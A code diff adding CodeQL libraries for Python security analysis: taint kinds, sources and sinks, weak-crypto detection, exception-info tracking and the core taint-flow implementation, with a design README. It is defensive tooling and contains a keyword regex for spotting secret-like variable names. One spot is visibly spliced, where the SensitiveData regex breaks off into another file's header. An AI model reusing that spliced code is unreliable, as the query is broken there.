"cryptography.Cipher." + cls.getAlgorithmName() + } + + AlgorithmClass getAlgorithm() { + result = cls + } + + predicate isWeak() { + cls.isWeak() + } + + override TaintKind getTaintOfMethodResult(string name) { + name = "encryptor" and + result.(Encryptor).getAlgorithm() = this.getAlgorithm() + } + + } + + class CipherSource extends TaintSource { + + CipherSource() { + this.(CallNode).getFunction().refersTo(any(CipherClass cls)) + } + + override predicate isSourceOf(TaintKind kind) { + this.(CallNode).getArg(0).refersTo(_, kind.(CipherInstance).getAlgorithm(), _) + } + + override string toString() { + result = "cryptography.Cipher.source" + } + + } + + class Encryptor extends TaintKind { + + AlgorithmClass cls; + + Encryptor() { + this = "cryptography.encryptor." + cls.getAlgorithmName() + + } + + AlgorithmClass getAlgorithm() { + result = cls + } + + } + + class CryptographyWeakCryptoSink extends WeakCryptoSink { + + CryptographyWeakCryptoSink() { + exists(CallNode call, AttrNode method, Encryptor encryptor | + call.getAnArg() = this and + call.getFunction() = method and + encryptor.taints(method.getObject("update")) and + encryptor.getAlgorithm().isWeak() + ) + } + + override string toString() { + result = "Use of weak crypto algorithm" + } + + } + + +} + + diff --git a/python/ql/src/semmle/python/security/Exceptions.qll b/python/ql/src/semmle/python/security/Exceptions.qll new file mode 100644 index 00000000000..d0ecee350d5 --- /dev/null +++ b/python/ql/src/semmle/python/security/Exceptions.qll @@ -0,0 +1,136 @@ +/** + * Provides classes and predicates for tracking exceptions and information + * associated with exceptions. + */ + +import python +import semmle.python.security.TaintTracking +import semmle.python.security.strings.Basic + +private ModuleObject theTracebackModule() { + result.getName() = "traceback" +} + +private FunctionObject traceback_function(string name) { + result = theTracebackModule().getAttribute(name) +} + +/** + * This represents information relating to an exception, for instance the + * message, arguments or parts of the exception traceback. + */ +class ExceptionInfo extends StringKind { + + ExceptionInfo() { + this = "exception.info" + } + + override string repr() { + result = "exception info" + } + +} + + +/** + * This kind represents exceptions themselves. + */ +class ExceptionKind extends TaintKind { + + ExceptionKind() { + this = "exception.kind" + } + + override string repr() { + result = "exception" + } + + override TaintKind getTaintOfAttribute(string name) { + name = "args" and result instanceof ExceptionInfoSequence + or + name = "message" and result instanceof ExceptionInfo + } +} + +/** + * A source of exception objects, either explicitly created, or captured by an + * `except` statement. + */ +class ExceptionSource extends TaintSource { + + ExceptionSource() { + exists(ClassObject cls | + cls.isSubclassOf(theExceptionType()) and + this.(ControlFlowNode).refersTo(_, cls, _) + ) + or + this = any(ExceptStmt s).getName().getAFlowNode() + } + + override string toString() { + result = "exception.source" + } + + override predicate isSourceOf(TaintKind kind) { + kind instanceof ExceptionKind + } +} + +/** + * Represents a sequence of pieces of information relating to an exception, + * for instance the contents of the `args` attribute, or the stack trace. + */ +class ExceptionInfoSequence extends SequenceKind { + ExceptionInfoSequence() { + this.getItem() instanceof ExceptionInfo + } +} + + +/** + * Represents calls to functions in the `traceback` module that return + * sequences of exception information. + */ +class CallToTracebackFunction extends TaintSource { + + CallToTracebackFunction() { + exists(string name | + name = "extract_tb" or + name = "extract_stack" or + name = "format_list" or + name = "format_exception_only" or + name = "format_exception" or + name = "format_tb" or + name = "format_stack" + | + this = traceback_function(name).getACall() + ) + } + + override string toString() { + result = "exception.info.sequence.source" + } + + override predicate isSourceOf(TaintKind kind) { + kind instanceof ExceptionInfoSequence + } +} + +/** + * Represents calls to functions in the `traceback` module that return a single + * string of information about an exception. + */ +class FormattedTracebackSource extends TaintSource { + + FormattedTracebackSource() { + this = traceback_function("format_exc").getACall() + } + + override string toString() { + result = "exception.info.source" + } + + override predicate isSourceOf(TaintKind kind) { + kind instanceof ExceptionInfo + } +} diff --git a/python/ql/src/semmle/python/security/Paths.qll b/python/ql/src/semmle/python/security/Paths.qll new file mode 100644 index 00000000000..93ba6ea3b04 --- /dev/null +++ b/python/ql/src/semmle/python/security/Paths.qll @@ -0,0 +1,25 @@ +import python + +import semmle.python.security.TaintTracking + +query predicate edges(TaintedNode fromnode, TaintedNode tonode) { + fromnode.getASuccessor() = tonode +} + +private TaintedNode first_child(TaintedNode parent) { + result.getContext().getCaller() = parent.getContext() and + parent.getASuccessor() = result +} + +private TaintedNode next_sibling(TaintedNode child) { + child.getASuccessor() = result and + child.getContext() = result.getContext() +} + +query predicate parents(TaintedNode child, TaintedNode parent) { + child = first_child(parent) or + exists(TaintedNode prev | + parents(prev, parent) and + child = next_sibling(prev) + ) +} diff --git a/python/ql/src/semmle/python/security/README.md b/python/ql/src/semmle/python/security/README.md new file mode 100644 index 00000000000..1b8af176c2f --- /dev/null +++ b/python/ql/src/semmle/python/security/README.md @@ -0,0 +1,95 @@ +# Python Taint Tracking Library + +The taint tracking library can be broken down into three parts. + +1. Specification of sources, sinks and flows. +2. The high level query API +3. The implementation. + + +## Specification + +There are five parts to the specification of a taint tracking query. +These are: + +1. Kinds + + The Python taint tracking library supports arbitrary kinds of taint. This is useful where you want to track something related to "taint", but that is in itself not dangerous. +For example, we might want to track the flow of requests objects. Request objects are not in themselves tainted, but they do contain tainted data. For example, the length or timestamp of a request may not pose a risk, but the GET or POST string probably do. +So, we would want to track request objects distinctly from the request data in the GET or POST field. + +2. Sources + + Sources of taint can be added by importing a predefined sub-type of `TaintSource`, or defining new ones. + +3. Sinks (or vulnerabilities) + + Sinks can be add by importing a predefined sub-type of `TaintSink` or defining new ones. + +4. Data flow extensions + + Additional dataflow edges; node->node, node->var, var->var or var->node can be added by importing predefined extensions or by adding new ones. Additional edges can be specified by overriding `DataFlowExtension::DataFlowNode` or `DataFlowExtension::DataFlowVariable`. + +5. Taint tracking extensions + + Taint tracking extensions, where a only a particular kind of taint flows, can be added by overriding any or all of following the methods on `TaintKind`: + + The two general purpose extensions: + + `predicate additionalTaintStep(ControlFlowNode fromnode, ControlFlowNode tonode)` + + `predicate additionalTaintStepVar(EssaVariable fromvar, EssaVariable var)` + + And the two special purpose extensions for tainted methods or attributes. These allow simple taint-tracking extensions, without worrying about the underlying flow graph. + + `TaintKind getTaintFromAttribute(string name)` + + `TaintKind getTaintFromMethod(string name)` + + +## The high-level query API + +The `TaintedNode` fully describes the taint flow graph. +The full graph can be expressed as: + +```ql +from TaintedNode n, TaintedNode s +where s = n.getASuccessor() +select n, s +``` + +The source -> sink relation can be expressed either using `TaintedNode`: +```ql +from TaintedNode src, TaintedNode sink +where src.isSource() and sink.isSink() and src.getASuccessor*() = sink +select src, sink +``` +or, using the specification API: +```ql +from TaintSource src, TaintSink sink +where src.flowsToSink(sink) +select src, sink +``` + +## The implementation + +The data-flow graph used by the taint-tracking library is the one created by the points-to analysis, +and consists of the course data-flow graph produced by `semmle/python/data-flow/SsaDefinitions.qll` +enhanced with precise variable flows, call graph and type information. +This graph is then enhanced with additional flows specified in part 1 above. +Since the call graph and points-to information is context sensitive, the taint graph must also be context sensitive. + +The taint graph is a simple directed graph where each node consists of a +`(CFG node, context, taint)` triple although it could be thought of more naturally +as a number of distinct graphs, one for each input taint-kind consisting of data flow nodes, +`(CFG node, context)` pairs, labelled with their `taint`. + +The `TrackedValue` used in the implementation is not the taint kind specified by the user, +but describes both the kind of taint and how that taint relates to any object referred to by a data-flow graph node or edge. +Currently, only two types of `taint` are supported: simple taint, where the object is actually tainted; +and attribute taint where a named attribute of the referred object is tainted. + +Support for tainted members (both specific members of tuples and the like, +and generic members for mutable collections) are likely to be added in the near future and others form are possible. +The types of taints are hard-wired with no user-visible extension method at the moment. + diff --git a/python/ql/src/semmle/python/security/SensitiveData.qll b/python/ql/src/semmle/python/security/SensitiveData.qll new file mode 100644 index 00000000000..6786c2498f5 --- /dev/null +++ b/python/ql/src/semmle/python/security/SensitiveData.qll @@ -0,0 +1,103 @@ +/** + * Provides classes and predicates for identifying sensitive data and methods for security. + * + * 'Sensitive' data in general is anything that should not be sent around in unencrypted form. This + * library tries to guess where sensitive data may either be stored in a variable or produced by a + * method. + * + * In addition, there are methods that ought not to be executed or not in a fashion that the user + * can control. This includes authorization methods such as logins, and sending of data, etc. + */ + +import python +import semmle.python.security.TaintTracking + + +/** A regular expression that identifies strings that look like they represent secret data that are not passwords. */ +private string suspiciousNonPassword() { + result = "(?is).*(account|accnt|(? sink relation can be expressed either using `TaintedNode`: + * ```ql + * from TaintedNode src, TaintedNode sink + * where src.isSource() and sink.isSink() and src.getASuccessor*() = sink + * select src, sink + * ``` + * or, using the specification API: + * ```ql + * from TaintSource src, TaintSink sink + * where src.flowsToSink(sink) + * select src, sink + * ``` + * + * ## The implementation + * + * The data-flow graph used by the taint-tracking library is the one created by the points-to analysis, + * and consists of the base data-flow graph produced by `semmle/python/data-flow/SsaDefinitions.qll` + * enhanced with precise variable flows, call graph and type information. + * This graph is then enhanced with additional flows as specified above. + * Since the call graph and points-to information is context sensitive, the taint graph must also be context sensitive. + * + * The taint graph is a directed graph where each node consists of a + * `(CFG node, context, taint)` triple although it could be thought of more naturally + * as a number of distinct graphs, one for each input taint-kind consisting of data flow nodes, + * `(CFG node, context)` pairs, labelled with their `taint`. + * + * The `TrackedValue` used in the implementation is not the taint kind specified by the user, + * but describes both the kind of taint and how that taint relates to any object referred to by a data-flow graph node or edge. + * Currently, only two types of `taint` are supported: simple taint, where the object is actually tainted; + * and attribute taint where a named attribute of the referred object is tainted. + * + * Support for tainted members (both specific members of tuples and the like, + * and generic members for mutable collections) are likely to be added in the near future and other forms are possible. + * The types of taints are hard-wired with no user-visible extension method at the moment. + */ + +import python +private import semmle.python.pointsto.Filters as Filters + +/** A 'kind' of taint. This may be almost anything, + * but it is typically something like a "user-defined string". + * Examples include, data from a http request object, + * data from an SMS or other mobile data source, + * or, for a super secure system, environment variables or + * the local file system. + */ +abstract class TaintKind extends string { + + bindingset[this] + TaintKind() { any() } + + /** Gets the kind of taint that the named attribute will have if an object is tainted with this taint. + * In other words, if `x` has this kind of taint then it implies that `x.name` + * has `result` kind of taint. + */ + TaintKind getTaintOfAttribute(string name) { none() } + + /** Gets the kind of taint results from calling the named method if an object is tainted with this taint. + * In other words, if `x` has this kind of taint then it implies that `x.name()` + * has `result` kind of taint. + */ + TaintKind getTaintOfMethodResult(string name) { none() } + + /** Gets the taint resulting from the flow step `fromnode` -> `tonode`. + */ + TaintKind getTaintForFlowStep(ControlFlowNode fromnode, ControlFlowNode tonode) { none() } + + /** DEPRECATED -- Use `TaintFlow.additionalFlowStepVar(EssaVariable fromvar, EssaVariable tovar, TaintKind kind)` instead. + * + * Holds if this kind of taint passes from variable `fromvar` to variable `tovar` + * This predicate is present for completeness. It is unlikely that any `TaintKind` + * implementation will ever need to override it. + */ + predicate additionalFlowStepVar(EssaVariable fromvar, EssaVariable tovar) { none() } + + /** Holds if this kind of taint can start from `expr`. + * In other words, is `expr` a source of this kind of taint. + */ + final predicate startsFrom(ControlFlowNode expr) { + expr.(TaintSource).isSourceOf(this, _) + } + + /** Holds if this kind of taint "taints" `expr`. + */ + final predicate taints(ControlFlowNode expr) { + exists(TaintedNode n | + n.getTaintKind() = this and n.getNode() = expr + ) + } + + /** Gets the class of this kind of taint. + * For example, if this were a kind of string taint + * the `result` would be `theStrType()`. + */ + ClassObject getClass() { + none() + } + + string repr() { result = this } + +} + +/** Taint kinds representing collections of other taint kind. + * We use `{kind}` to represent a mapping of string to `kind` and + * `[kind]` to represent a flat collection of `kind`. + * The use of `{` and `[` is chosen to reflect dict and list literals + * in Python. We choose a single character prefix and suffix for simplicity + * and ease of preventing infinite recursion. + */ +abstract class CollectionKind extends TaintKind { + + bindingset[this] + CollectionKind() { + (this.charAt(0) = "[" or this.charAt(0) = "{") and + /* Prevent any collection kinds more than 2 deep */ + not this.charAt(2) = "[" and not this.charAt(2) = "{" + } +} + +/** A taint kind representing a flat collections of kinds. + * Typically a sequence, but can include sets. + */ +class SequenceKind extends CollectionKind { + + TaintKind itemKind; + + SequenceKind() { + this = "[" + itemKind + "]" + } + + TaintKind getItem() { + result = itemKind + } + + override TaintKind getTaintForFlowStep(ControlFlowNode fromnode, ControlFlowNode tonode) { + sequence_subscript_taint(tonode, fromnode, this, result) + or + result = this and + ( + slice(fromnode, tonode) or + tonode.(BinaryExprNode).getAnOperand() = fromnode + ) + or + result = this and copy_call(fromnode, tonode) + or + exists(BinaryExprNode mod | + mod = tonode and + mod.getOp() instanceof Mod and + mod.getAnOperand() = fromnode and + result = this.getItem() and + result.getClass() = theStrType() + ) + or + result = this and sequence_call(fromnode, tonode) + } + + override TaintKind getTaintOfMethodResult(string name) { + name = "pop" and result = this.getItem() + } + + override string repr() { + result = "sequence of " + itemKind + } + +} + +/* Helper for getTaintForStep() */ +pragma [noinline] +private predicate sequence_subscript_taint(SubscriptNode sub, ControlFlowNode obj, SequenceKind seq, TaintKind key) { + sub.isLoad() and + sub.getValue() = obj and + if sub.getNode().getIndex() instanceof Slice then + seq = key + else + key = seq.getItem() +} + +/* tonode = fromnode[:] */ +private predicate slice(ControlFlowNode fromnode, SubscriptNode tonode) { + exists(Slice all | + all = tonode.getIndex().getNode() and + not exists(all.getStart()) and not exists(all.getStop()) and + tonode.getValue() = fromnode + ) +} + +/* A call that returns a copy (or similar) of the argument */ +private predicate copy_call(ControlFlowNode fromnode, CallNode tonode) { + tonode.getFunction().(AttrNode).getObject("copy") = fromnode + or + exists(ModuleObject copy, string name | + name = "copy" or name = "deepcopy" | + copy.getAttribute(name).(FunctionObject).getACall() = tonode and + tonode.getArg(0) = fromnode + ) + or + tonode.getFunction().refersTo(builtin_object("reversed")) and + tonode.getArg(0) = fromnode +} + +/** A taint kind representing a mapping of objects to kinds. + * Typically a dict, but can include other mappings. + */ +class DictKind extends CollectionKind { + + TaintKind valueKind; + + DictKind() { + this = "{" + valueKind + "}" + } + + TaintKind getValue() { + result = valueKind + } + + override TaintKind getTaintForFlowStep(ControlFlowNode fromnode, ControlFlowNode tonode) { + result = valueKind and + tonode.(SubscriptNode).getValue() = fromnode and tonode.isLoad() + or + result = valueKind and + tonode.(CallNode).getFunction().(AttrNode).getObject("get") = fromnode + or + result = this and copy_call(fromnode, tonode) + or + result = this and + tonode.(CallNode).getFunction().refersTo(theDictType()) and + tonode.(CallNode).getArg(0) = fromnode + } + + override TaintKind getTaintOfMethodResult(string name) { + name = "get" and result = valueKind + or + name = "values" and result.(SequenceKind).getItem() = valueKind + or + name = "itervalues" and result.(SequenceKind).getItem() = valueKind + } + + override string repr() { + result = "dict of " + valueKind + } + +} + + +/** A type of sanitizer of untrusted data. + * Examples include sanitizers for http responses, for DB access or for shell commands. + * Usually a sanitizer can only sanitize data for one particular use. + * For example, a sanitizer for DB commands would not be safe to use for http responses. + */ +abstract class Sanitizer extends string { + + bindingset[this] + Sanitizer() { any() } + + /** Holds if `taint` cannot flow through `node`. */ + predicate sanitizingNode(TaintKind taint, ControlFlowNode node) { none() } + + /** Holds if `call` removes removes the `taint` */ + predicate sanitizingCall(TaintKind taint, FunctionObject callee) { none() } + + /** Holds if `test` shows value to be untainted with `taint` */ + predicate sanitizingEdge(TaintKind taint, PyEdgeRefinement test) { none() } + + /** Holds if `test` shows value to be untainted with `taint` */ + predicate sanitizingSingleEdge(TaintKind taint, SingleSuccessorGuard test) { none() } + + /** Holds if `def` shows value to be untainted with `taint` */ + predicate sanitizingDefinition(TaintKind taint, EssaDefinition def) { none() } + +} + +/** DEPRECATED -- Use DataFlowExtension instead. + * An extension to taint-flow. For adding library or framework specific flows. + * Examples include flow from a request to untrusted part of that request or + * from a socket to data from that socket. + */ +abstract class TaintFlow extends string { + + bindingset[this] + TaintFlow() { any() } + + /** Holds if `fromnode` being tainted with `fromkind` will result in `tonode` being tainted with `tokind`. + * Extensions to `TaintFlow` should override this to provide additional taint steps. + */ + predicate additionalFlowStep(ControlFlowNode fromnode, TaintKind fromkind, ControlFlowNode tonode, TaintKind tokind) { none() } + + /** Holds if the given `kind` of taint passes from variable `fromvar` to variable `tovar`. + * This predicate is present for completeness. Most `TaintFlow` implementations will not need to override it. + */ + predicate additionalFlowStepVar(EssaVariable fromvar, EssaVariable tovar, TaintKind kind) { none() } + + /** Holds if the given `kind` of taint cannot pass from variable `fromvar` to variable `tovar`. + * This predicate is present for completeness. Most `TaintFlow` implementations will not need to override it. + */ + predicate prunedFlowStepVar(EssaVariable fromvar, EssaVariable tovar, TaintKind kind) { none() } + +} + +/** A source of taintedness. + * Users of the taint tracking library should override this + * class to provide their own sources. + */ +abstract class TaintSource extends @py_flow_node { + + string toString() { result = "Taint source" } + + /** + * Holds if `this` is a source of taint kind `kind` + * + * This must be overridden by subclasses to specify sources of taint. + * + * The smaller this predicate is, the faster `Taint.flowsTo()` will converge. + */ + abstract predicate isSourceOf(TaintKind kind); + + /** + * Holds if `this` is a source of taint kind `kind` for the given context. + * Generally, this should not need to be overridden; overriding `isSourceOf(kind)` should be sufficient. + * + * The smaller this predicate is, the faster `Taint.flowsTo()` will converge. + */ + predicate isSourceOf(TaintKind kind, CallContext context) { + context.appliesTo(this) and this.isSourceOf(kind) + } + + Location getLocation() { + result = this.(ControlFlowNode).getLocation() + } + + predicate hasLocationInfo(string fp, int bl, int bc, int el, int ec) { + this.getLocation().hasLocationInfo(fp, bl, bc, el, ec) + } + + /** Gets a TaintedNode for this taint source */ + TaintedNode getATaintNode() { + exists(TaintFlowImplementation::TrackedTaint taint, CallContext context | + this.isSourceOf(taint.getKind(), context) and + result = TTaintedNode_(taint, context, this) + ) + } + + /** Holds if taint can flow from this source to sink `sink` */ + final predicate flowsToSink(TaintKind srckind, TaintSink sink) { + exists(TaintedNode t | + t = this.getATaintNode() and + t.getTaintKind() = srckind and + t.flowsToSink(sink) + ) + } + + /** Holds if taint can flow from this source to taint sink `sink` */ + final predicate flowsToSink(TaintSink sink) { + this.flowsToSink(_, sink) + or + this instanceof ValidatingTaintSource and + sink instanceof ValidatingTaintSink and + exists(error()) + } +} + + +/** Warning: Advanced feature. Users are strongly recommended to use `TaintSource` instead. + * A source of taintedness on the ESSA data-flow graph. + * Users of the taint tracking library can override this + * class to provide their own sources on the ESSA graph. + */ +abstract class TaintedDefinition extends EssaNodeDefinition { + + /** + * Holds if `this` is a source of taint kind `kind` + * + * This should be overridden by subclasses to specify sources of taint. + * + * The smaller this predicate is, the faster `Taint.flowsTo()` will converge. + */ + abstract predicate isSourceOf(TaintKind kind); + + /** + * Holds if `this` is a source of taint kind `kind` for the given context. + * Generally, this should not need to be overridden; overriding `isSourceOf(kind)` should be sufficient. + * + * The smaller this predicate is, the faster `Taint.flowsTo()` will converge. + */ + predicate isSourceOf(TaintKind kind, CallContext context) { + context.appliesToScope(this.getScope()) and this.isSourceOf(kind) + } + +} + +private class DictUpdate extends DataFlowExtension::DataFlowNode { + + MethodCallsiteRefinement call; + + DictUpdate() { + exists(CallNode c | + c = call.getCall() + | + c.getFunction().(AttrNode).getName() = "update" and + c.getArg(0) = this + ) + } + + override EssaVariable getASuccessorVariable() { + call.getVariable() = result + } + +} + +private class SequenceExtends extends DataFlowExtension::DataFlowNode { + + MethodCallsiteRefinement call; + + SequenceExtends() { + exists(CallNode c | + c = call.getCall() + | + c.getFunction().(AttrNode).getName() = "extend" and + c.getArg(0) = this + ) + } + + override EssaVariable getASuccessorVariable() { + call.getVariable() = result + } + +} + +/** A node that is vulnerable to one or more types of taint. + * These nodes provide the sinks when computing the taint flow graph. + * An example would be an argument to a write to a http response object, + * such an argument would be vulnerable to unsanitized user-input (XSS). + * + * Users of the taint tracking library should extend this + * class to provide their own sink nodes. + */ +abstract class TaintSink extends @py_flow_node { + + string toString() { result = "Taint sink" } + + /** + * Holds if `this` "sinks" taint kind `kind` + * Typically this means that `this` is vulnerable to taint kind `kind`. + * + * This must be overridden by subclasses to specify vulnerabilities or other sinks of taint. + */ + abstract predicate sinks(TaintKind taint); + + Location getLocation() { + result = this.(ControlFlowNode).getLocation() + } + + predicate hasLocationInfo(string fp, int bl, int bc, int el, int ec) { + this.getLocation().hasLocationInfo(fp, bl, bc, el, ec) + } + +} + +/** Extension for data-flow, to help express data-flow paths that are + * library or framework specific and cannot be inferred by the general + * data-flow machinery. + */ +module DataFlowExtension { + + /** A control flow node that modifies the basic data-flow. */ + abstract class DataFlowNode extends @py_flow_node { + + string toString() { + result = "Dataflow extension node" + } + + /** Gets a successor node for data-flow. + * Data (all forms) is assumed to flow from `this` to `result` + */ + ControlFlowNode getASuccessorNode() { none() } + + /** Gets a successor variable for data-flow. + * Data (all forms) is assumed to flow from `this` to `result`. + * Note: This is an unlikely form of flow. See `DataFlowVariable.getASuccessorVariable()` + */ + EssaVariable getASuccessorVariable() { none() } + + /** Holds if data cannot flow from `this` to `succ`, + * even though it would normally do so. + */ + predicate prunedSuccessor(ControlFlowNode succ) { none() } + + /** Gets a successor node, where the successor node will be tainted with `tokind` + * when `this` is tainted with `fromkind`. + * Extensions to `DataFlowNode` should override this to provide additional taint steps. + */ + ControlFlowNode getASuccessorNode(TaintKind fromkind, TaintKind tokind) { none() } + + /** Gets a successor node for data-flow with a change of context from callee to caller + * (going *up* the call-stack) across call-site `call`. + * Data (all forms) is assumed to flow from `this` to `result` + * Extensions to `DataFlowNode` should override this to provide additional taint steps. + */ + ControlFlowNode getAReturnSuccessorNode(CallNode call) { none() } + + /** Gets a successor node for data-flow with a change of context from caller to callee + * (going *down* the call-stack) across call-site `call`. + * Data (all forms) is assumed to flow from `this` to `result` + * Extensions to `DataFlowNode` should override this to provide additional taint steps. + */ + ControlFlowNode getACalleeSuccessorNode(CallNode call) { none() } + + } + + /** Data flow variable that modifies the basic data-flow. */ + class DataFlowVariable extends EssaVariable { + + /** Gets a successor node for data-flow. + * Data (all forms) is assumed to flow from `this` to `result` + * Note: This is an unlikely form of flow. See `DataFlowNode.getASuccessorNode()` + */ + ControlFlowNode getASuccessorNode() { none() } + + /** Gets a successor variable for data-flow. + * Data (all forms) is assumed to flow from `this` to `result`. + */ + EssaVariable getASuccessorVariable() { none() } + + /** Holds if data cannot flow from `this` to `succ`, + * even though it would normally do so. + */ + predicate prunedSuccessor(EssaVariable succ) { none() } + + } +} + +private newtype TTaintedNode = + TTaintedNode_(TaintFlowImplementation::TrackedValue taint, CallContext context, ControlFlowNode n) { + exists(TaintKind kind | + taint = TaintFlowImplementation::TTrackedTaint(kind) | + n.(TaintSource).isSourceOf(kind, context) + ) + or + TaintFlowImplementation::step(_, taint, context, n) and + exists(TaintKind kind | + kind = taint.(TaintFlowImplementation::TrackedTaint).getKind() + or + kind = taint.(TaintFlowImplementation::TrackedAttribute).getKind(_) | + not exists(Sanitizer sanitizer | + sanitizer.sanitizingNode(kind, n) + ) + ) + or + user_tainted_def(_, taint, context, n) + } + +private predicate user_tainted_def(TaintedDefinition def, TaintFlowImplementation::TTrackedTaint taint, CallContext context, ControlFlowNode n) { + exists(TaintKind kind | + taint = TaintFlowImplementation::TTrackedTaint(kind) and + def.isSourceOf(kind, context) and + n = def.getDefiningNode() + ) +} + +/** A tainted data flow graph node. + * This is a triple of `(CFG node, data-flow context, taint)` + */ +class TaintedNode extends TTaintedNode { + + string toString() { result = this.getTrackedValue().repr() } + + string debug() { result = this.getTrackedValue().toString() + " at " + this.getNode().getLocation() } + + TaintedNode getASuccessor() { + exists(TaintFlowImplementation::TrackedValue tokind, CallContext tocontext, ControlFlowNode tonode | + result = TTaintedNode_(tokind, tocontext, tonode) and + TaintFlowImplementation::step(this, tokind, tocontext, tonode) + ) + } + + /** Gets the taint for this node. */ + TaintFlowImplementation::TrackedValue getTrackedValue() { + this = TTaintedNode_(result, _, _) + } + + /** Gets the CFG node for this node. */ + ControlFlowNode getNode() { + this = TTaintedNode_(_, _, result) + } + + /** Gets the data-flow context for this node. */ + CallContext getContext() { + this = TTaintedNode_(_, result, _) + } + + Location getLocation() { + result = this.getNode().getLocation() + } + + /** Holds if this node is a source of taint */ + predicate isSource() { + exists(TaintFlowImplementation::TrackedTaint taint, CallContext context, TaintSource node | + this = TTaintedNode_(taint, context, node) and + node.isSourceOf(taint.getKind(), context) + ) + } + + /** Gets the kind of taint that node is tainted with. + * Doesn't apply if an attribute or item is tainted, only if this node directly tainted + * */ + TaintKind getTaintKind() { + this.getTrackedValue().(TaintFlowImplementation::TrackedTaint).getKind() = result + } + + /** Holds if taint flows from this node to the sink `sink` and + * reaches with a taint that `sink` is a sink of. + */ + predicate flowsToSink(TaintSink sink) { + exists(TaintedNode node | + this.getASuccessor*() = node and + node.getNode() = sink and + sink.sinks(node.getTaintKind()) + ) + } + + /** Holds if the underlying CFG node for this node is a vulnerable node + * and is vulnerable to this node's taint. + */ + predicate isVulnerableSink() { + exists(TaintedNode src, TaintSink vuln | + src.isSource() and + src.getASuccessor*() = this and + vuln = this.getNode() and + vuln.sinks(this.getTaintKind()) + ) + } + + TaintFlowImplementation::TrackedTaint fromAttribute(string name) { + result = this.getTrackedValue().(TaintFlowImplementation::TrackedAttribute).fromAttribute(name) + } + +} + +class TaintedPathSource extends TaintedNode { + + TaintedPathSource() { + this.getNode().(TaintSource).isSourceOf(this.getTaintKind(), this.getContext()) + } + + /** Holds if taint can flow from this source to sink `sink` */ + final predicate flowsTo(TaintedPathSink sink) { + this.getASuccessor*() = sink + } + + TaintSource getSource() { + result = this.getNode() + } + +} + +class TaintedPathSink extends TaintedNode { + + TaintedPathSink() { + this.getNode().(TaintSink).sinks(this.getTaintKind()) + } + + TaintSink getSink() { + result = this.getNode() + } + +} + +/** This module contains the implementation of taint-flow. + * It is recommended that users use the `TaintedNode` class, rather than using this module directly + * as the interface of this module may change without warning. + */ +library module TaintFlowImplementation { + + import semmle.python.pointsto.PointsTo + import DataFlowExtension + + newtype TTrackedValue = + TTrackedTaint(TaintKind kind) + or + TTrackedAttribute(string name, TaintKind kind) { + exists(AttributeAssignment def, TaintedNode origin | + def.getName() = name and + def.getValue() = origin.getNode() and + origin.getTaintKind() = kind + ) + or + exists(TaintedNode origin | + import_flow(origin, _, _, name) and + origin.getTaintKind() = kind + ) + or + exists(TaintKind src | + kind = src.getTaintOfAttribute(name) + ) + or + exists(TaintedNode origin, AttrNode lhs, ControlFlowNode rhs | + lhs.getName() = name and rhs = lhs.(DefinitionNode).getValue() | + origin.getNode() = rhs and + kind = origin.getTaintKind() + ) + } + + /** The "taint" tracked internal by the TaintFlow module. + * This is not the taint kind specified by the user, but describes both the kind of taint + * and how that taint relates to any object referred to by a data-flow graph node or edge. + */ + class TrackedValue extends TTrackedValue { + + abstract string toString(); + + abstract string repr(); + + abstract TrackedValue toKind(TaintKind kind); + + } + + class TrackedTaint extends TrackedValue, TTrackedTaint { + + override string repr() { + result = this.getKind().repr() + } + + override string toString() { + result = "Taint " + this.getKind() + } + + TaintKind getKind() { + this = TTrackedTaint(result) + } + + override TrackedValue toKind(TaintKind kind) { + result = TTrackedTaint(kind) + } + + } + + class TrackedAttribute extends TrackedValue, TTrackedAttribute { + + override string repr() { + exists(string name, TaintKind kind | + this = TTrackedAttribute(name, kind) and + result = "." + name + "=" + kind.repr() + ) + } + + override string toString() { + exists(string name, TaintKind kind | + this = TTrackedAttribute(name, kind) and + result = "Attribute '" + name + "' taint " + kind + ) + } + + TaintKind getKind(string name) { + this = TTrackedAttribute(name, result) + } + + TrackedValue fromAttribute(string name) { + exists(TaintKind kind | + this = TTrackedAttribute(name, kind) and + result = TTrackedTaint(kind) + ) + } + + string getName() { + this = TTrackedAttribute(result, _) + } + + override TrackedValue toKind(TaintKind kind) { + result = TTrackedAttribute(this.getName(), kind) + } + + } + + predicate step(TaintedNode fromnode, TrackedValue totaint, CallContext tocontext, ControlFlowNode tonode) { + unpruned_step(fromnode, totaint, tocontext, tonode) and + tonode.getBasicBlock().likelyReachable() + } + + predicate unpruned_step(TaintedNode fromnode, TrackedValue totaint, CallContext tocontext, ControlFlowNode tonode) { + import_step(fromnode, totaint, tocontext, tonode) + or + from_import_step(fromnode, totaint, tocontext, tonode) + or + attribute_load_step(fromnode, totaint, tocontext, tonode) + or + attribute_store_step(fromnode, totaint, tocontext, tonode) + or + getattr_step(fromnode, totaint, tocontext, tonode) + or + use_step(fromnode, totaint, tocontext, tonode) + or + call_taint_step(fromnode, totaint, tocontext, tonode) + or + fromnode.getNode().(DataFlowNode).getASuccessorNode() = tonode and + fromnode.getContext() = tocontext and + totaint = fromnode.getTrackedValue() + or + exists(CallNode call | + fromnode.getNode().(DataFlowNode).getAReturnSuccessorNode(call) = tonode and + fromnode.getContext() = tocontext.getCallee(call) and + totaint = fromnode.getTrackedValue() + ) + or + exists(CallNode call | + fromnode.getNode().(DataFlowNode).getACalleeSuccessorNode(call) = tonode and + fromnode.getContext().getCallee(call) = tocontext and + totaint = fromnode.getTrackedValue() + ) + or + exists(TaintKind tokind | + fromnode.getNode().(DataFlowNode).getASuccessorNode(fromnode.getTaintKind(), tokind) = tonode and + totaint = fromnode.getTrackedValue().toKind(tokind) and + tocontext = fromnode.getContext() + ) + or + exists(TaintKind tokind | + tokind = fromnode.getTaintKind().getTaintForFlowStep(fromnode.getNode(), tonode) and + totaint = fromnode.getTrackedValue().toKind(tokind) and + tocontext = fromnode.getContext() + ) + or + exists(TaintFlow flow, TaintKind tokind | + flow.additionalFlowStep(fromnode.getNode(), fromnode.getTaintKind(), tonode, tokind) and + totaint = fromnode.getTrackedValue().toKind(tokind) and + tocontext = fromnode.getContext() + ) + or + data_flow_step(fromnode.getContext(), fromnode.getNode(), tocontext, tonode) and + totaint = fromnode.getTrackedValue() + or + exists(DataFlowVariable var | + tainted_var(var, tocontext, fromnode) and + var.getASuccessorNode() = tonode and + totaint = fromnode.getTrackedValue() + ) + or + exists(TaintKind tokind | + totaint = fromnode.getTrackedValue().toKind(tokind) and + tocontext = fromnode.getContext() + | + tokind.(DictKind).getValue() = fromnode.getTaintKind() and + dict_construct(fromnode.getNode(), tonode) + or + tokind.(SequenceKind).getItem() = 